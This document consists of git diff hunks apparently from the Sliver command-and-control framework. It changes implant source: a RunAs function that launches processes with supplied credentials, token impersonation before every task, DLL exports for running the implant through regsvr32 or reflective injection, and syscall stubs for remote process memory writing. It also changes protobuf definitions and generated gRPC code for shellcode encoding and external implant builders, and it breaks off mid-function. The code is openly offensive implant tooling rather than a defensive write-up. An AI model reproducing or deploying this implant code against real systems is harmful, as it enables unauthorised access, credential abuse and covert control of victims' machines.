. "github.com/bishopfox/sliver/implant/sliver/locale/jibberjabber"
|
||||
|
||||
. "github.com/onsi/ginkgo"
|
||||
. "github.com/onsi/gomega"
|
||||
)
|
||||
|
||||
const (
|
||||
LOCALE_REGEXP = "^[a-z]{2}-[A-Z]{2}$"
|
||||
LANGUAGE_REGEXP = "^[a-z]{2}$"
|
||||
TERRITORY_REGEXP = "^[A-Z]{2}$"
|
||||
)
|
||||
|
||||
var _ = Describe("Windows", func() {
|
||||
BeforeEach(func() {
|
||||
locale, err := DetectIETF()
|
||||
Ω(err).Should(BeNil())
|
||||
Ω(locale).ShouldNot(BeNil())
|
||||
Ω(locale).ShouldNot(Equal(""))
|
||||
})
|
||||
|
||||
Describe("#DetectIETF", func() {
|
||||
It("detects correct IETF locale", func() {
|
||||
locale, _ := DetectIETF()
|
||||
matched, _ := regexp.MatchString(LOCALE_REGEXP, locale)
|
||||
Ω(matched).Should(BeTrue())
|
||||
})
|
||||
})
|
||||
|
||||
Describe("#DetectLanguage", func() {
|
||||
It("detects correct Language", func() {
|
||||
language, _ := DetectLanguage()
|
||||
matched, _ := regexp.MatchString(LANGUAGE_REGEXP, language)
|
||||
Ω(matched).Should(BeTrue())
|
||||
})
|
||||
})
|
||||
|
||||
Describe("#DetectLanguageTag", func() {
|
||||
It("detects correct Language Tag", func() {
|
||||
result, _ := DetectLanguageTag()
|
||||
base, _ := result.Base()
|
||||
matched, _ := regexp.MatchString(LANGUAGE_REGEXP, base.String())
|
||||
Ω(matched).Should(BeTrue())
|
||||
region, _ := result.Region()
|
||||
matched, _ = regexp.MatchString(TERRITORY_REGEXP, region.String())
|
||||
Ω(matched).Should(BeTrue())
|
||||
})
|
||||
})
|
||||
|
||||
Describe("#DetectTerritory", func() {
|
||||
It("detects correct Territory", func() {
|
||||
territory, _ := DetectTerritory()
|
||||
matched, _ := regexp.MatchString(TERRITORY_REGEXP, territory)
|
||||
Ω(matched).Should(BeTrue())
|
||||
})
|
||||
})
|
||||
})
|
||||
@@ -96,7 +96,23 @@ func SePrivEnable(s string) error {
|
||||
}
|
||||
|
||||
func RevertToSelf() error {
|
||||
err := windows.RevertToSelf()
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("RevertToSelf Error: %v\n", err)
|
||||
// {{end}}
|
||||
}
|
||||
err = windows.CloseHandle(windows.Handle(CurrentToken))
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("CloseHandle Error: %v\n", err)
|
||||
// {{end}}
|
||||
}
|
||||
CurrentToken = windows.Token(0)
|
||||
return err
|
||||
}
|
||||
|
||||
func TRevertToSelf() error {
|
||||
return windows.RevertToSelf()
|
||||
}
|
||||
|
||||
@@ -224,8 +240,12 @@ func impersonateUser(username string) (token windows.Token, err error) {
|
||||
|
||||
// MakeToken uses LogonUser to create a new logon session with the supplied username, domain and password.
|
||||
// It then impersonates the resulting token to allow access to remote network resources as the specified user.
|
||||
func MakeToken(domain string, username string, password string) error {
|
||||
func MakeToken(domain string, username string, password string, logonType uint32) error {
|
||||
var token windows.Token
|
||||
// Default to LOGON32_LOGON_NEW_CREDENTIALS
|
||||
if logonType == 0 {
|
||||
logonType = syscalls.LOGON32_LOGON_NEW_CREDENTIALS
|
||||
}
|
||||
|
||||
pd, err := windows.UTF16PtrFromString(domain)
|
||||
if err != nil {
|
||||
@@ -239,7 +259,7 @@ func MakeToken(domain string, username string, password string) error {
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
err = syscalls.LogonUser(pu, pd, pp, syscalls.LOGON32_LOGON_NEW_CREDENTIALS, syscalls.LOGON32_PROVIDER_DEFAULT, &token)
|
||||
err = syscalls.LogonUser(pu, pd, pp, logonType, syscalls.LOGON32_PROVIDER_DEFAULT, &token)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("LogonUser failed: %v\n", err)
|
||||
@@ -275,6 +295,82 @@ func deleteRegistryKey(keyPath, keyName string) (err error) {
|
||||
return
|
||||
}
|
||||
|
||||
func RunAs(username string, domain string, password string, program string, args string, show int, netonly bool) (err error) {
|
||||
// call CreateProcessWithLogonW to create a new process with the specified credentials
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-createprocesswithlogonw
|
||||
// convert username, domain, password, program, args, env, dir to *uint16
|
||||
u, err := windows.UTF16PtrFromString(username)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Invalid username\n")
|
||||
// {{end}}
|
||||
return
|
||||
}
|
||||
d, err := windows.UTF16PtrFromString(domain)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Invalid domain\n")
|
||||
// {{end}}
|
||||
return
|
||||
}
|
||||
p, err := windows.UTF16PtrFromString(password)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Invalid password\n")
|
||||
// {{end}}
|
||||
return
|
||||
}
|
||||
prog, err := windows.UTF16PtrFromString(program)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Invalid program\n")
|
||||
// {{end}}
|
||||
return
|
||||
}
|
||||
var cmd *uint16
|
||||
if len(args) > 0 {
|
||||
cmd, err = windows.UTF16PtrFromString(fmt.Sprintf("%s %s", program, args))
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Invalid prog args\n")
|
||||
// {{end}}
|
||||
return
|
||||
}
|
||||
}
|
||||
var e *uint16
|
||||
// env := os.Environ()
|
||||
// e, err = windows.UTF16PtrFromString(strings.Join(env, "\x00"))
|
||||
// if err != nil {
|
||||
// // {{if .Config.Debug}}
|
||||
// log.Printf("Invalid env\n")
|
||||
// // {{end}}
|
||||
// return
|
||||
// }
|
||||
var di *uint16
|
||||
|
||||
// create a new startup info struct
|
||||
si := &syscalls.StartupInfoEx{
|
||||
StartupInfo: windows.StartupInfo{
|
||||
Flags: windows.STARTF_USESHOWWINDOW,
|
||||
ShowWindow: uint16(show),
|
||||
},
|
||||
}
|
||||
// create a new process info struct
|
||||
pi := &windows.ProcessInformation{}
|
||||
// call CreateProcessWithLogonW
|
||||
var logonFlags uint32 = 0
|
||||
if netonly {
|
||||
logonFlags = 2 // LOGON_NETCREDENTIALS_ONLY
|
||||
}
|
||||
err = syscalls.CreateProcessWithLogonW(u, d, p, logonFlags, prog, cmd, 0, e, di, si, pi)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("CreateProcessWithLogonW failed: %v\n", err)
|
||||
// {{end}}
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
// RunProcessAsUser - Retrieve a primary token belonging to username
|
||||
// and starts a new process using that token.
|
||||
func RunProcessAsUser(username, command, args string) (out string, err error) {
|
||||
|
||||
+39
-18
@@ -42,17 +42,11 @@ import (
|
||||
"io/ioutil"
|
||||
// {{end}}
|
||||
|
||||
// {{if eq .Config.GOOS "windows"}}
|
||||
"github.com/bishopfox/sliver/implant/sliver/priv"
|
||||
"github.com/bishopfox/sliver/implant/sliver/syscalls"
|
||||
|
||||
// {{end}}
|
||||
|
||||
consts "github.com/bishopfox/sliver/implant/sliver/constants"
|
||||
"github.com/bishopfox/sliver/implant/sliver/handlers"
|
||||
"github.com/bishopfox/sliver/implant/sliver/hostuuid"
|
||||
"github.com/bishopfox/sliver/implant/sliver/locale"
|
||||
"github.com/bishopfox/sliver/implant/sliver/limits"
|
||||
"github.com/bishopfox/sliver/implant/sliver/locale"
|
||||
"github.com/bishopfox/sliver/implant/sliver/pivots"
|
||||
"github.com/bishopfox/sliver/implant/sliver/transports"
|
||||
"github.com/bishopfox/sliver/implant/sliver/version"
|
||||
@@ -127,6 +121,7 @@ func (serv *sliverService) Execute(args []string, r <-chan svc.ChangeRequest, ch
|
||||
var isRunning bool = false
|
||||
|
||||
// StartW - Export for shared lib build
|
||||
//
|
||||
//export StartW
|
||||
func StartW() {
|
||||
if !isRunning {
|
||||
@@ -139,21 +134,25 @@ func StartW() {
|
||||
//https://github.com/Ne0nd0g/merlin/blob/master/cmd/merlinagentdll/main.go#L65
|
||||
|
||||
// VoidFunc is an exported function used with PowerSploit's Invoke-ReflectivePEInjection.ps1
|
||||
//
|
||||
//export VoidFunc
|
||||
func VoidFunc() { main() }
|
||||
|
||||
// DllInstall is used when executing the Sliver implant with regsvr32.exe (i.e. regsvr32.exe /s /n /i sliver.dll)
|
||||
// https://msdn.microsoft.com/en-us/library/windows/desktop/bb759846(v=vs.85).aspx
|
||||
//
|
||||
//export DllInstall
|
||||
func DllInstall() { main() }
|
||||
|
||||
// DllRegisterServer - is used when executing the Sliver implant with regsvr32.exe (i.e. regsvr32.exe /s sliver.dll)
|
||||
// https://msdn.microsoft.com/en-us/library/windows/desktop/ms682162(v=vs.85).aspx
|
||||
//
|
||||
//export DllRegisterServer
|
||||
func DllRegisterServer() { main() }
|
||||
|
||||
// DllUnregisterServer - is used when executing the Sliver implant with regsvr32.exe (i.e. regsvr32.exe /s /u sliver.dll)
|
||||
// https://msdn.microsoft.com/en-us/library/windows/desktop/ms691457(v=vs.85).aspx
|
||||
//
|
||||
//export DllUnregisterServer
|
||||
func DllUnregisterServer() { main() }
|
||||
|
||||
@@ -409,6 +408,23 @@ func beaconMain(beacon *transports.Beacon, nextCheckin time.Time) error {
|
||||
wg.Add(1)
|
||||
data := task.Data
|
||||
taskID := task.ID
|
||||
// {{if eq .Config.GOOS "windows" }}
|
||||
go handlers.WrapperHandler(handler, data, func(data []byte, err error) {
|
||||
resultsMutex.Lock()
|
||||
defer resultsMutex.Unlock()
|
||||
defer wg.Done()
|
||||
// {{if .Config.Debug}}
|
||||
if err != nil {
|
||||
log.Printf("[beacon] handler function returned an error: %s", err)
|
||||
}
|
||||
log.Printf("[beacon] task completed (id: %d)", taskID)
|
||||
// {{end}}
|
||||
results = append(results, &sliverpb.Envelope{
|
||||
ID: taskID,
|
||||
Data: data,
|
||||
})
|
||||
})
|
||||
// {{else}}
|
||||
go handler(data, func(data []byte, err error) {
|
||||
resultsMutex.Lock()
|
||||
defer resultsMutex.Unlock()
|
||||
@@ -424,6 +440,7 @@ func beaconMain(beacon *transports.Beacon, nextCheckin time.Time) error {
|
||||
Data: data,
|
||||
})
|
||||
})
|
||||
// {{end}}
|
||||
} else if task.Type == sliverpb.MsgOpenSession {
|
||||
go openSessionHandler(task.Data)
|
||||
resultsMutex.Lock()
|
||||
@@ -566,20 +583,23 @@ func sessionMainLoop(connection *transports.Connection) error {
|
||||
// only applies the token to the calling thread, we need to call it before every task.
|
||||
// It's fucking gross to do that here, but I could not come with a better solution.
|
||||
|
||||
// {{if eq .Config.GOOS "windows" }}
|
||||
if priv.CurrentToken != 0 {
|
||||
err := syscalls.ImpersonateLoggedOnUser(priv.CurrentToken)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Error: %v\n", err)
|
||||
// {{end}}
|
||||
}
|
||||
}
|
||||
// {{end}}
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[recv] sysHandler %d", envelope.Type)
|
||||
// {{end}}
|
||||
|
||||
// {{if eq .Config.GOOS "windows" }}
|
||||
go handlers.WrapperHandler(handler, envelope.Data, func(data []byte, err error) {
|
||||
// {{if .Config.Debug}}
|
||||
if err != nil {
|
||||
log.Printf("[session] handler function returned an error: %s", err)
|
||||
}
|
||||
// {{end}}
|
||||
connection.Send <- &sliverpb.Envelope{
|
||||
ID: envelope.ID,
|
||||
Data: data,
|
||||
}
|
||||
})
|
||||
// {{else}}
|
||||
go handler(envelope.Data, func(data []byte, err error) {
|
||||
// {{if .Config.Debug}}
|
||||
if err != nil {
|
||||
@@ -591,6 +611,7 @@ func sessionMainLoop(connection *transports.Connection) error {
|
||||
Data: data,
|
||||
}
|
||||
})
|
||||
// {{end}}
|
||||
} else if handler, ok := tunHandlers[envelope.Type]; ok {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[recv] tunHandler %d", envelope.Type)
|
||||
|
||||
@@ -9,6 +9,7 @@ package syscalls
|
||||
//sys HeapSize(hHeap windows.Handle, dwFlags uint32, lpMem uintptr) (res uint32, err error) = kernel32.HeapSize
|
||||
//sys UpdateProcThreadAttribute(lpAttributeList *PROC_THREAD_ATTRIBUTE_LIST, dwFlags uint32, attribute uintptr, lpValue *uintptr, cbSize uintptr, lpPreviousValue uintptr, lpReturnSize *uintptr) (err error) = kernel32.UpdateProcThreadAttribute
|
||||
//sys CreateProcess(appName *uint16, commandLine *uint16, procSecurity *windows.SecurityAttributes, threadSecurity *windows.SecurityAttributes, inheritHandles bool, creationFlags uint32, env *uint16, currentDir *uint16, startupInfo *StartupInfoEx, outProcInfo *windows.ProcessInformation) (err error) = kernel32.CreateProcessW
|
||||
//sys CreateProcessWithLogonW(username *uint16, domain *uint16, password *uint16, logonFlags uint32, appName *uint16, commandLine *uint16, creationFlags uint32, env *uint16, currentDir *uint16, startupInfo *StartupInfoEx, outProcInfo *windows.ProcessInformation) (err error) = advapi32.CreateProcessWithLogonW
|
||||
//sys VirtualAllocEx(hProcess windows.Handle, lpAddress uintptr, dwSize uintptr, flAllocationType uint32, flProtect uint32) (addr uintptr, err error) = kernel32.VirtualAllocEx
|
||||
//sys WriteProcessMemory(hProcess windows.Handle, lpBaseAddress uintptr, lpBuffer *byte, nSize uintptr, lpNumberOfBytesWritten *uintptr) (err error) = kernel32.WriteProcessMemory
|
||||
//sys VirtualProtectEx(hProcess windows.Handle, lpAddress uintptr, dwSize uintptr, flNewProtect uint32, lpflOldProtect *uint32) (err error) = kernel32.VirtualProtectEx
|
||||
|
||||
@@ -62,6 +62,7 @@ var (
|
||||
procGetDC = modUser32.NewProc("GetDC")
|
||||
procGetDesktopWindow = modUser32.NewProc("GetDesktopWindow")
|
||||
procReleaseDC = modUser32.NewProc("ReleaseDC")
|
||||
procCreateProcessWithLogonW = modadvapi32.NewProc("CreateProcessWithLogonW")
|
||||
procImpersonateLoggedOnUser = modadvapi32.NewProc("ImpersonateLoggedOnUser")
|
||||
procLogonUserW = modadvapi32.NewProc("LogonUserW")
|
||||
procLookupPrivilegeDisplayNameW = modadvapi32.NewProc("LookupPrivilegeDisplayNameW")
|
||||
@@ -222,6 +223,14 @@ func ReleaseDC(hWnd windows.Handle, hDC windows.Handle) (int uint32, err error)
|
||||
return
|
||||
}
|
||||
|
||||
func CreateProcessWithLogonW(username *uint16, domain *uint16, password *uint16, logonFlags uint32, appName *uint16, commandLine *uint16, creationFlags uint32, env *uint16, currentDir *uint16, startupInfo *StartupInfoEx, outProcInfo *windows.ProcessInformation) (err error) {
|
||||
r1, _, e1 := syscall.Syscall12(procCreateProcessWithLogonW.Addr(), 11, uintptr(unsafe.Pointer(username)), uintptr(unsafe.Pointer(domain)), uintptr(unsafe.Pointer(password)), uintptr(logonFlags), uintptr(unsafe.Pointer(appName)), uintptr(unsafe.Pointer(commandLine)), uintptr(creationFlags), uintptr(unsafe.Pointer(env)), uintptr(unsafe.Pointer(currentDir)), uintptr(unsafe.Pointer(startupInfo)), uintptr(unsafe.Pointer(outProcInfo)), 0)
|
||||
if r1 == 0 {
|
||||
err = errnoErr(e1)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func ImpersonateLoggedOnUser(hToken windows.Token) (err error) {
|
||||
r1, _, e1 := syscall.Syscall(procImpersonateLoggedOnUser.Addr(), 1, uintptr(hToken), 0, 0)
|
||||
if r1 == 0 {
|
||||
|
||||
+699
-414
File diff suppressed because it is too large.
Load diff
@@ -115,7 +115,7 @@ enum OutputFormat {
|
||||
SHELLCODE = 1;
|
||||
EXECUTABLE = 2;
|
||||
SERVICE = 3;
|
||||
EXTERNAL = 4;
|
||||
THIRD_PARTY = 4;
|
||||
}
|
||||
|
||||
message ImplantConfig {
|
||||
@@ -131,6 +131,7 @@ message ImplantConfig {
|
||||
bool Debug = 8;
|
||||
bool Evasion = 9;
|
||||
bool ObfuscateSymbols = 10;
|
||||
string TemplateName = 11;
|
||||
|
||||
string MtlsCACert = 20;
|
||||
string MtlsCert = 21;
|
||||
@@ -173,9 +174,8 @@ message ImplantConfig {
|
||||
}
|
||||
|
||||
message ExternalImplantConfig {
|
||||
string Name = 1;
|
||||
ImplantConfig Config = 2;
|
||||
string OTPSecret = 3;
|
||||
ImplantConfig Config = 1;
|
||||
string OTPSecret = 2;
|
||||
}
|
||||
|
||||
message ExternalImplantBinary {
|
||||
@@ -454,6 +454,7 @@ message GetSystemReq {
|
||||
message MigrateReq {
|
||||
uint32 Pid = 1;
|
||||
ImplantConfig Config = 2;
|
||||
ShellcodeEncoder Encoder = 3;
|
||||
|
||||
commonpb.Request Request = 9;
|
||||
}
|
||||
@@ -645,7 +646,8 @@ message DllHijack {
|
||||
|
||||
// [ Shellcode ] ----------------------------------------
|
||||
enum ShellcodeEncoder {
|
||||
SHIKATA_GA_NAI = 0;
|
||||
NONE = 0;
|
||||
SHIKATA_GA_NAI = 1;
|
||||
}
|
||||
|
||||
message ShellcodeEncodeReq {
|
||||
@@ -666,4 +668,25 @@ message ShellcodeEncode {
|
||||
|
||||
message ShellcodeEncoderMap {
|
||||
map<string, ShellcodeEncoder> Encoders = 1;
|
||||
}
|
||||
}
|
||||
|
||||
// [ Builder ] ----------------------------------------
|
||||
message ExternalGenerateReq {
|
||||
ImplantConfig Config = 1;
|
||||
string BuilderName = 2;
|
||||
}
|
||||
|
||||
|
||||
message Builders {
|
||||
repeated Builder Builders = 1;
|
||||
}
|
||||
|
||||
message Builder {
|
||||
string Name = 1;
|
||||
string OperatorName = 2;
|
||||
string GOOS = 3; // The builder's OS
|
||||
string GOARCH = 4; // The builder's Arch
|
||||
repeated string Templates = 5;
|
||||
repeated CompilerTarget Targets = 6;
|
||||
repeated CrossCompiler CrossCompilers = 7;
|
||||
}
|
||||
@@ -1,7 +1,7 @@
|
||||
// Code generated by protoc-gen-go. DO NOT EDIT.
|
||||
// versions:
|
||||
// protoc-gen-go v1.27.1
|
||||
// protoc v3.12.4
|
||||
// protoc-gen-go v1.26.0
|
||||
// protoc v3.21.8
|
||||
// source: commonpb/common.proto
|
||||
|
||||
package commonpb
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
// Code generated by protoc-gen-go. DO NOT EDIT.
|
||||
// versions:
|
||||
// protoc-gen-go v1.27.1
|
||||
// protoc v3.12.4
|
||||
// protoc-gen-go v1.26.0
|
||||
// protoc v3.21.8
|
||||
// source: dnspb/dns.proto
|
||||
|
||||
package dnspb
|
||||
|
||||
+781
-761
File diff suppressed because it is too large.
Load diff
@@ -66,9 +66,15 @@ service SliverRPC {
|
||||
|
||||
// *** Implants ***
|
||||
rpc Generate(clientpb.GenerateReq) returns (clientpb.Generate);
|
||||
rpc GenerateExternal(clientpb.GenerateReq) returns (clientpb.ExternalImplantConfig);
|
||||
rpc GenerateExternal(clientpb.ExternalGenerateReq) returns (clientpb.ExternalImplantConfig);
|
||||
rpc GenerateExternalSaveBuild(clientpb.ExternalImplantBinary) returns (commonpb.Empty);
|
||||
rpc GenerateExternalGetImplantConfig(clientpb.ImplantConfig) returns (clientpb.ExternalImplantConfig);
|
||||
// rpc BuilderRegister(clientpb.Builder) returns (commonpb.Empty);
|
||||
|
||||
rpc BuilderRegister(clientpb.Builder) returns (stream clientpb.Event);
|
||||
rpc BuilderTrigger(clientpb.Event) returns (commonpb.Empty);
|
||||
rpc Builders(commonpb.Empty) returns (clientpb.Builders);
|
||||
|
||||
rpc Regenerate(clientpb.RegenerateReq) returns (clientpb.Generate);
|
||||
rpc ImplantBuilds(commonpb.Empty) returns (clientpb.ImplantBuilds);
|
||||
rpc DeleteImplantBuild(clientpb.DeleteReq) returns (commonpb.Empty);
|
||||
|
||||
@@ -1,8 +1,4 @@
|
||||
// Code generated by protoc-gen-go-grpc. DO NOT EDIT.
|
||||
// versions:
|
||||
// - protoc-gen-go-grpc v1.2.0
|
||||
// - protoc v3.12.4
|
||||
// source: rpcpb/services.proto
|
||||
|
||||
package rpcpb
|
||||
|
||||
@@ -71,9 +67,12 @@ type SliverRPCClient interface {
|
||||
HostIOCRm(ctx context.Context, in *clientpb.IOC, opts ...grpc.CallOption) (*commonpb.Empty, error)
|
||||
// *** Implants ***
|
||||
Generate(ctx context.Context, in *clientpb.GenerateReq, opts ...grpc.CallOption) (*clientpb.Generate, error)
|
||||
GenerateExternal(ctx context.Context, in *clientpb.GenerateReq, opts ...grpc.CallOption) (*clientpb.ExternalImplantConfig, error)
|
||||
GenerateExternal(ctx context.Context, in *clientpb.ExternalGenerateReq, opts ...grpc.CallOption) (*clientpb.ExternalImplantConfig, error)
|
||||
GenerateExternalSaveBuild(ctx context.Context, in *clientpb.ExternalImplantBinary, opts ...grpc.CallOption) (*commonpb.Empty, error)
|
||||
GenerateExternalGetImplantConfig(ctx context.Context, in *clientpb.ImplantConfig, opts ...grpc.CallOption) (*clientpb.ExternalImplantConfig, error)
|
||||
BuilderRegister(ctx context.Context, in *clientpb.Builder, opts ...grpc.CallOption) (SliverRPC_BuilderRegisterClient, error)
|
||||
BuilderTrigger(ctx context.Context, in *clientpb.Event, opts ...grpc.CallOption) (*commonpb.Empty, error)
|
||||
Builders(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.Builders, error)
|
||||
Regenerate(ctx context.Context, in *clientpb.RegenerateReq, opts ...grpc.CallOption) (*clientpb.Generate, error)
|
||||
ImplantBuilds(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.ImplantBuilds, error)
|
||||
DeleteImplantBuild(ctx context.Context, in *clientpb.DeleteReq, opts ...grpc.CallOption) (*commonpb.Empty, error)
|
||||
@@ -493,7 +492,7 @@ func (c *sliverRPCClient) Generate(ctx context.Context, in *clientpb.GenerateReq
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func (c *sliverRPCClient) GenerateExternal(ctx context.Context, in *clientpb.GenerateReq, opts ...grpc.CallOption) (*clientpb.ExternalImplantConfig, error) {
|
||||
func (c *sliverRPCClient) GenerateExternal(ctx context.Context, in *clientpb.ExternalGenerateReq, opts ...grpc.CallOption) (*clientpb.ExternalImplantConfig, error) {
|
||||
out := new(clientpb.ExternalImplantConfig)
|
||||
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/GenerateExternal", in, out, opts...)
|
||||
if err != nil {
|
||||
@@ -520,6 +519,56 @@ func (c *sliverRPCClient) GenerateExternalGetImplantConfig(ctx context.Context,
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func (c *sliverRPCClient) BuilderRegister(ctx context.Context, in *clientpb.Builder, opts ...grpc.CallOption) (SliverRPC_BuilderRegisterClient, error) {
|
||||
stream, err := c.cc.NewStream(ctx, &SliverRPC_ServiceDesc.Streams[0], "/rpcpb.SliverRPC/BuilderRegister", opts...)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
x := &sliverRPCBuilderRegisterClient{stream}
|
||||
if err := x.ClientStream.SendMsg(in); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if err := x.ClientStream.CloseSend(); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return x, nil
|
||||
}
|
||||
|
||||
type SliverRPC_BuilderRegisterClient interface {
|
||||
Recv() (*clientpb.Event, error)
|
||||
grpc.ClientStream
|
||||
}
|
||||
|
||||
type sliverRPCBuilderRegisterClient struct {
|
||||
grpc.ClientStream
|
||||
}
|
||||
|
||||
func (x *sliverRPCBuilderRegisterClient) Recv() (*clientpb.Event, error) {
|
||||
m := new(clientpb.Event)
|
||||
if err := x.ClientStream.RecvMsg(m); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return m, nil
|
||||
}
|
||||
|
||||
func (c *sliverRPCClient) BuilderTrigger(ctx context.Context, in *clientpb.Event, opts ...grpc.CallOption) (*commonpb.Empty, error) {
|
||||
out := new(commonpb.Empty)
|
||||
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/BuilderTrigger", in, out, opts...)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func (c *sliverRPCClient) Builders(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.Builders, error) {
|
||||
out := new(clientpb.Builders)
|
||||
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Builders", in, out, opts...)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func (c *sliverRPCClient) Regenerate(ctx context.Context, in *clientpb.RegenerateReq, opts ...grpc.CallOption) (*clientpb.Generate, error) {
|
||||
out := new(clientpb.Generate)
|
||||
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Regenerate", in, out, opts...)
|
||||
@@ -1313,7 +1362,7 @@ func (c *sliverRPCClient) CloseSocks(ctx context.Context, in *sliverpb.Socks, op
|
||||
}
|
||||
|
||||
func (c *sliverRPCClient) SocksProxy(ctx context.Context, opts ...grpc.CallOption) (SliverRPC_SocksProxyClient, error) {
|
||||
stream, err := c.cc.NewStream(ctx, &SliverRPC_ServiceDesc.Streams[0], "/rpcpb.SliverRPC/SocksProxy", opts...)
|
||||
stream, err := c.cc.NewStream(ctx, &SliverRPC_ServiceDesc.Streams[1], "/rpcpb.SliverRPC/SocksProxy", opts...)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
@@ -1362,7 +1411,7 @@ func (c *sliverRPCClient) CloseTunnel(ctx context.Context, in *sliverpb.Tunnel,
|
||||
}
|
||||
|
||||
func (c *sliverRPCClient) TunnelData(ctx context.Context, opts ...grpc.CallOption) (SliverRPC_TunnelDataClient, error) {
|
||||
stream, err := c.cc.NewStream(ctx, &SliverRPC_ServiceDesc.Streams[1], "/rpcpb.SliverRPC/TunnelData", opts...)
|
||||
stream, err := c.cc.NewStream(ctx, &SliverRPC_ServiceDesc.Streams[2], "/rpcpb.SliverRPC/TunnelData", opts...)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
@@ -1393,7 +1442,7 @@ func (x *sliverRPCTunnelDataClient) Recv() (*sliverpb.TunnelData, error) {
|
||||
}
|
||||
|
||||
func (c *sliverRPCClient) Events(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (SliverRPC_EventsClient, error) {
|
||||
stream, err := c.cc.NewStream(ctx, &SliverRPC_ServiceDesc.Streams[2], "/rpcpb.SliverRPC/Events", opts...)
|
||||
stream, err := c.cc.NewStream(ctx, &SliverRPC_ServiceDesc.Streams[3], "/rpcpb.SliverRPC/Events", opts...)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
@@ -1474,9 +1523,12 @@ type SliverRPCServer interface {
|
||||
HostIOCRm(context.Context, *clientpb.IOC) (*commonpb.Empty, error)
|
||||
// *** Implants ***
|
||||
Generate(context.Context, *clientpb.GenerateReq) (*clientpb.Generate, error)
|
||||
GenerateExternal(context.Context, *clientpb.GenerateReq) (*clientpb.ExternalImplantConfig, error)
|
||||
GenerateExternal(context.Context, *clientpb.ExternalGenerateReq) (*clientpb.ExternalImplantConfig, error)
|
||||
GenerateExternalSaveBuild(context.Context, *clientpb.ExternalImplantBinary) (*commonpb.Empty, error)
|
||||
GenerateExternalGetImplantConfig(context.Context, *clientpb.ImplantConfig) (*clientpb.ExternalImplantConfig, error)
|
||||
BuilderRegister(*clientpb.Builder, SliverRPC_BuilderRegisterServer) error
|
||||
BuilderTrigger(context.Context, *clientpb.Event) (*commonpb.Empty, error)
|
||||
Builders(context.Context, *commonpb.Empty) (*clientpb.Builders, error)
|
||||
Regenerate(context.Context, *clientpb.RegenerateReq) (*clientpb.Generate, error)
|
||||
ImplantBuilds(context.Context, *commonpb.Empty) (*clientpb.ImplantBuilds, error)
|
||||
DeleteImplantBuild(context.Context, *clientpb.DeleteReq) (*commonpb.Empty, error)
|
||||
@@ -1689,7 +1741,7 @@ func (UnimplementedSliverRPCServer) HostIOCRm(context.Context, *clientpb.IOC) (*
|
||||
func (UnimplementedSliverRPCServer) Generate(context.Context, *clientpb.GenerateReq) (*clientpb.Generate, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method Generate not implemented")
|
||||
}
|
||||
func (UnimplementedSliverRPCServer) GenerateExternal(context.Context, *clientpb.GenerateReq) (*clientpb.ExternalImplantConfig, error) {
|
||||
func (UnimplementedSliverRPCServer) GenerateExternal(context.Context, *clientpb.ExternalGenerateReq) (*clientpb.ExternalImplantConfig, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method GenerateExternal not implemented")
|
||||
}
|
||||
func (UnimplementedSliverRPCServer) GenerateExternalSaveBuild(context.Context, *clientpb.ExternalImplantBinary) (*commonpb.Empty, error) {
|
||||
@@ -1698,6 +1750,15 @@ func (UnimplementedSliverRPCServer) GenerateExternalSaveBuild(context.Context, *
|
||||
func (UnimplementedSliverRPCServer) GenerateExternalGetImplantConfig(context.Context, *clientpb.ImplantConfig) (*clientpb.ExternalImplantConfig, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method GenerateExternalGetImplantConfig not implemented")
|
||||
}
|
||||
func (UnimplementedSliverRPCServer) BuilderRegister(*clientpb.Builder, SliverRPC_BuilderRegisterServer) error {
|
||||
return status.Errorf(codes.Unimplemented, "method BuilderRegister not implemented")
|
||||
}
|
||||
func (UnimplementedSliverRPCServer) BuilderTrigger(context.Context, *clientpb.Event) (*commonpb.Empty, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method BuilderTrigger not implemented")
|
||||
}
|
||||
func (UnimplementedSliverRPCServer) Builders(context.Context, *commonpb.Empty) (*clientpb.Builders, error) {
|
||||
